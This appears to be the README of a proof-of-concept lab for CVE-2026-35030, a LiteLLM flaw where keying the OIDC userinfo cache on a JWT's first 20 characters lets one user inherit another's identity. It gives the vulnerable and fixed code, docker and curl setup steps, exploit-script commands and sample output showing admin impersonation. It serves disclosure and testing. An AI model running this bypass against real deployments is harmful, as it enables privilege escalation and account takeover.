
The code for personally reproducing the corresponding vulnerability
LiteLLM OIDC userinfo cache uses
token[:20]as the cache key. Two different JWTs signed with the same algorithm produce identical first 20 characters, allowing an unauthenticated attacker to inherit another user's cached identity and permissions.
| Field | Value |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials) |
| Affected | LiteLLM < 1.83.0 (with enable_jwt_auth: true) |
| Fixed | v1.83.0+ (cache key changed to sha256(token)) |
| Published | 2026-04-06 |
| Discovered by | Veria Labs |
| Links | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM is an AI Gateway / proxy server for calling LLM APIs. When JWT authentication
is enabled (enable_jwt_auth: true), LiteLLM validates tokens against an OIDC provider
and caches the userinfo response.
The vulnerability: The cache key uses only the first 20 characters of the JWT:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
A JWT is composed of three base64url-encoded segments separated by dots:
<header>.<payload>.<signature>
The header (e.g., {"alg":"RS256","typ":"JWT"}) encodes identically for all tokens
using the same signing algorithm. This means two different JWTs — issued to completely
different users — will have the same first 20 characters.
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
Note on Enterprise Licensing: JWT/OIDC auth is an enterprise-only feature in LiteLLM (requires
LITELLM_LICENSE). For local CVE reproduction, both Dockerfiles patch thepremium_usercheck toTrue. This does not affect the vulnerability — the cache key collision (token[:20]) exists independently of the enterprise check.The first startup runs Prisma migrations (~60-90s). LiteLLM will be ready when the logs show
"Uvicorn running on http://0.0.0.0:4000".
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Demo mode — shows the cache key collision:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Exploit mode — demonstrates the actual auth bypass:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
Fixed version — sha256 cache key prevents the collision:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
In litellm/proxy/auth/handle_jwt.py, the OIDC userinfo
cache is keyed by token[:20]:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] Is Insufficient| Token component | Includes user-specific data? | Fixed for same algorithm? |
|---|---|---|
| Header (first ~30 chars) | ❌ No | ✅ Yes — identical base64 |
| Payload (user-specific) | ✅ Yes | ❌ No — unique per user |
| Signature | ✅ Yes | ❌ No — unique per key |
Since the header is the only part within the first 20 characters, and the header is identical for all tokens using the same signing algorithm, every RS256 JWT from the same issuer has the exact same first 20 characters.
| Scenario | Description |
|---|---|
| Privilege Escalation | Low-privilege user becomes admin via cache collision |
| Horizontal Impersonation | Impersonate any user whose userinfo is cached |
| Auth Bypass Chain | Combine with CVE-2026-35029 to achieve RCE |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token))enable_jwt_auth: falseDisclaimer: This content is provided for educational purposes and authorized security testing only.